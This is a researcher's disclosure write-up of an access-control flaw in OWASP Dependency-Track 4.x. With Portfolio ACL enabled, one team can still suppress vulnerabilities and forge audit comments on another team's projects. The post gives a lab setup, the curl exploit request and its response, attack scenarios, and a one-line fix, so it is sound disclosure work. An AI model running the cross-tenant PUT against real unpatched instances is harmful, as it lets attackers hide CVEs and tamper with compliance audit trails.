LIVE ANALYSIS May 28, 2026

Dependency-Track: Breaking Tenant Isolation with a Single PUT Request

OWASP Dependency-Track ships a Portfolio ACL feature that promises multi-tenant isolation. Turns out it only blocks reads. A low-privileged user can suppress any vulnerability, rewrite triage decisions, and poison audit trails on projects they cannot even see. Here is how, and why the maintainers called it a documented gap.

#OWASP #Dependency-Track #IDOR #Access Control #SCA #Vulnerability Management #CWE-639

OWASP Dependency-Track is the go-to open-source platform for tracking vulnerabilities in your software supply chain. Companies use it to know which CVEs affect which products, and more importantly, to record what they decided to do about each one. “We accept the risk.” “This is a false positive.” “Not affected.” Those decisions live in Dependency-Track’s analysis records, and auditors rely on them.

The platform supports a feature called Portfolio Access Control. You enable it, you assign projects to teams, and each team only sees their own stuff. Simple multi-tenant isolation. Or so it seems.

During an audit of Dependency-Track 4.14.x, I found that the ACL only blocks reads. Writes go through without any access check. A user from team-A can suppress vulnerabilities on team-B’s projects, overwrite their triage decisions, and inject comments into their audit trail. All it takes is one PUT request.

What is Portfolio ACL

Dependency-Track lets you organize projects into portfolios and map them to teams. When you flip the access-management.acl.enabled toggle in Administration, users are supposed to only interact with projects assigned to their team.

The feature exists because many organizations run a single Dependency-Track instance shared between multiple teams or business units. The security team manages one set of projects, the platform team manages another, and nobody should be able to touch each other’s data.

When ACL is enabled, most endpoints do enforce isolation. If alice is in team-A and tries to fetch the findings of a project owned by team-B, she gets a clean 403 Forbidden. That part works fine.

The problem is on the write side.

The Vulnerability

Two API endpoints accept analysis decisions without verifying project access.

The first one is PUT /api/v1/analysis. This is the endpoint that records triage decisions. You send it a project UUID, a component UUID, a vulnerability UUID, and your decision (analysis state, suppression flag, comment). The backend resolves all three objects by UUID and creates the analysis record.

The second one is PUT /api/v1/violation/analysis. Same pattern, same problem, different resource type.

Both endpoints check that the caller has the VULNERABILITY_ANALYSIS permission. That is role-based access control. But they never check that the caller’s team is mapped to the target project. That is the missing piece.

Here is what the code looks like in AnalysisResource.java:

@PUT
@PermissionRequired(Permissions.Constants.VULNERABILITY_ANALYSIS)
public Response updateAnalysis(AnalysisRequest request) {
    final Project project = qm.getObjectByUuid(Project.class, request.getProject());
    // No qm.hasAccess(super.getPrincipal(), project) check here
    final Component component = qm.getObjectByUuid(Component.class, request.getComponent());
    final Vulnerability vuln = qm.getObjectByUuid(Vulnerability.class, request.getVulnerability());
    // ... proceeds to create/update the analysis
}

Compare this with BomResource.java or FindingResource.java, which correctly call qm.hasAccess() before touching any data. The pattern is right there in the codebase. It just was not applied everywhere.

On the persistence layer, FindingsQueryManager.getAnalysis() runs a raw JDOQL query that skips preprocessACLs() entirely. Other project-scoped queries in the same file do call it. Inconsistent enforcement is the root cause of most access control bugs, and this is a textbook example.

How to Find This Pattern

Before diving into exploitation, I want to show how I found this. It took about five minutes.

The idea is simple. In a Java JAX-RS application, every resource class that operates on project-scoped data should verify access. So I ran a one-liner across all resource classes:

for f in src/main/java/org/dependencytrack/resources/v1/*.java; do
  total=$(grep -c "getObjectByUuid" "$f" 2>/dev/null || echo 0)
  access=$(grep -c "hasAccess" "$f" 2>/dev/null || echo 0)
  if [ "$total" -gt 0 ]; then
    printf "%-50s objByUuid=%-3s hasAccess=%s\n" \
      "$(basename $f)" "$total" "$access"
  fi
done

The output looked like this:

AnalysisResource.java                objByUuid=3   hasAccess=0
ViolationAnalysisResource.java       objByUuid=3   hasAccess=0
BomResource.java                     objByUuid=2   hasAccess=2
FindingResource.java                 objByUuid=1   hasAccess=1
ProjectResource.java                 objByUuid=5   hasAccess=4

Two resource classes fetching objects by UUID with zero access checks. That was the signal.

This kind of grep works on any codebase that follows a consistent access control pattern. If 12 out of 14 resource classes call hasAccess, the two that don’t are probably vulnerable. It is not fancy. It is not AI-powered. It works.

Setting Up the Lab

You need Docker Compose and about ten minutes.

services:
  dtrack-api:
    image: dependencytrack/apiserver:4.14.2
    ports:
      - "8081:8080"
    environment:
      - ALPINE_DATABASE_MODE=external
      - ALPINE_DATABASE_URL=jdbc:h2:mem:dtrack
    volumes:
      - dtrack-data:/data

  dtrack-fe:
    image: dependencytrack/frontend:4.14.0
    ports:
      - "8080:8080"
    environment:
      - API_BASE_URL=http://localhost:8081

volumes:
  dtrack-data:

Spin it up, log in as admin on http://localhost:8080, and configure the environment:

  1. Go to Administration > Access Management and enable Portfolio Access Control.
  2. Create two teams: team-A and team-B. Give both the VULNERABILITY_ANALYSIS permission.
  3. Create two users: alice (add her to team-A) and bob (add him to team-B).
  4. Create two projects: proj-A (map to team-A only) and proj-B (map to team-B only).
  5. Upload a CycloneDX BOM with log4j-core 2.14.1 to both projects. This gives you CVE-2021-44228 on each one.

Now grab alice’s JWT:

ALICE_JWT=$(curl -s -X POST "http://localhost:8081/api/v1/user/login" \
  -d "username=alice&password=<alice-password>")

Note down the UUIDs of proj-B, its log4j component, and CVE-2021-44228. You can get them from the admin API or the web UI.

Exploitation

Confirm the ACL works on reads

First, verify that alice cannot read proj-B’s findings:

curl -s -X GET \
  "http://localhost:8081/api/v1/finding/project/<proj-B-uuid>" \
  -H "Authorization: Bearer $ALICE_JWT"

Response: 403 Forbidden. Good. The read path is locked down.

Cross-tenant write

Now alice writes an analysis decision on proj-B. She has never seen this project. She should not be able to touch it.

curl -s -X PUT "http://localhost:8081/api/v1/analysis" \
  -H "Authorization: Bearer $ALICE_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "project":       "<proj-B-uuid>",
    "component":     "<log4j-component-uuid>",
    "vulnerability": "<CVE-2021-44228-uuid>",
    "analysisState": "NOT_AFFECTED",
    "isSuppressed":  true,
    "comment":       "cross-tenant-write-proof"
  }'

Response: 200 OK.

{
  "analysisState": "NOT_AFFECTED",
  "isSuppressed": true,
  "analysisComments": [
    { "comment": "Analysis: NOT_SET → NOT_AFFECTED", "commenter": "alice" },
    { "comment": "Suppressed", "commenter": "alice" },
    { "comment": "cross-tenant-write-proof", "commenter": "alice" }
  ]
}

That is it. Alice just suppressed Log4Shell on a project she cannot read. The vulnerability disappears from team-B’s active findings view. The audit trail now shows alice’s name on a project she has no business touching.

Verify persistence

If you want to be thorough, query the H2 database directly:

SELECT a."STATE", a."SUPPRESSED", ac."COMMENT", ac."COMMENTER"
FROM "ANALYSIS" a
JOIN "ANALYSISCOMMENT" ac ON a."ID" = ac."ANALYSIS_ID"
WHERE a."PROJECT_ID" = (
  SELECT "ID" FROM "PROJECT" WHERE "UUID" = '<proj-B-uuid>'
);

The write is persisted. It survives restarts. This is not a UI glitch. It is a real data integrity violation.

What an Attacker Can Do

This is not a theoretical issue. Here are concrete scenarios.

A disgruntled employee with a low-privileged account suppresses all critical CVEs on the flagship product’s project right before an audit. The security team sees a clean dashboard. The auditor sees a clean dashboard. Nobody knows until the next scan re-detects everything and someone notices the suppression history.

An attacker injects comments like “Risk accepted per CISO decision” on another team’s vulnerabilities. In regulated environments where audit trails are evidence, this is tampering with compliance records.

An attacker marks vulnerabilities as NOT_AFFECTED on projects they plan to target for exploitation. If the organization uses Dependency-Track to drive patching priorities, those vulnerabilities drop off the radar entirely.

The Fix

The fix is almost embarrassingly simple. Add one check before creating the analysis:

if (!qm.hasAccess(super.getPrincipal(), project)) {
    return Response.status(Response.Status.FORBIDDEN)
        .entity("Access to the specified project is forbidden")
        .build();
}

This goes into AnalysisResource.updateAnalysis() and ViolationAnalysisResource.updateAnalysis(). The underlying query manager should also call preprocessACLs() for consistency, but the endpoint-level check is the critical one.

Side Quest: NuGet @id Credential Leak

While auditing the same codebase, I investigated a potential variant of GHSA-83g2-vgqh-mgxc. That advisory disclosed that Dependency-Track would leak repository credentials when following HTTP redirects to attacker-controlled servers.

The fix landed, but I wanted to check if the NuGet repository analyzer had a different path to the same bug.

NuGet repositories serve a service index at /v3/index.json with @id fields pointing to API endpoints. The idea: if an attacker controls the NuGet repository, they set @id to point to their own server. When Dependency-Track follows that URL to fetch package metadata, maybe it sends the configured credentials along.

I set up a fake NuGet index with @id pointing to a leak listener and configured Dependency-Track with credentials for that repository. Then I uploaded a BOM with a NuGet package and waited.

Dependency-Track did follow the @id URL to my server. That part worked. But it stripped the Authorization header on the cross-origin request.

---REQUEST---
Path: /v3/registration/newtonsoft.json/index.json
Host: 172.17.0.1:9002
User-Agent: Java/...
Accept: */*
---END---

No credentials. The GHSA-83g2 fix covers this path. I am documenting this because testing variants and reporting negative results is part of the job. Not every theory pans out, and that is fine.

Vendor Response

I reported the IDOR finding to security@dependencytrack.org in March 2026. Steve Springett, the project lead, responded quickly. He pointed to GitHub issue #1127, filed in 2021, which tracks ACL gaps as a known limitation.

His position:

This is a known, documented gap, as the Portfolio ACL model is still in beta and incomplete. I believe these gaps will be closed (or mostly closed) in the upcoming release of Dependency-Track v5.0.

I pushed back on this for three reasons.

First, issue #1127 discusses visibility gaps. Metrics dashboards showing data across teams. My finding is a cross-tenant write. Suppressing Log4Shell on another team’s project is not a visibility gap. It is unauthorized data modification with direct compliance impact.

Second, the ACL toggle does not display any warning. There is no banner saying “this only prevents reads, not writes.” When an administrator enables it on a production instance, the expectation is that it isolates teams.

Third, the timeline matters. Issue #1127 has been open since 2021 with a v5.0 milestone. Dependency-Track v5.0, codenamed Hyades, is a complete rewrite that is explicitly marked as not recommended for production. Every instance running 4.x with ACL enabled today is exposed, and there is no patch on the horizon for the current stable branch.

A documented vulnerability is still a vulnerability.

Timeline

DateEvent
March 2026Report sent to security@dependencytrack.org
March 2026Maintainer acknowledges, classifies as “documented gap”
March 2026Researcher responds with argument for CVE eligibility
April 2026CVE request submitted independently to VulnCheck
May 2026No patch for 4.x. Fix deferred to v5.0

Takeaways

Test writes separately from reads. A 403 on GET does not mean PUT is blocked too. This is the most common authorization bypass pattern in REST APIs and it has been for years.

Grep before you reverse. Five minutes with grep -c "hasAccess" across resource classes found this vulnerability. Static analysis does not have to be complicated to be effective.

Beta features in production images are still attack surface. If a security feature can be enabled through the standard admin UI on a stable release, it needs to provide the guarantees it advertises. Otherwise it should not be there.

And finally: always reproduce empirically before drawing conclusions. Earlier this week I spent hours setting up a Grafana lab to reproduce what looked like a stored XSS, only to discover the vulnerable component had never existed in any stable release. The commit I was analyzing was pre-ship hardening, not a silent fix. That is the difference between a CVE and a blog post about methodology. Both have value, but only if you do the work to tell them apart.

Affected Versions

All versions of Dependency-Track from 4.0.0 through 4.14.x with Portfolio ACL enabled. Confirmed on 4.14.2. Unpatched as of May 2026.


christbowel.com · github.com/christbowel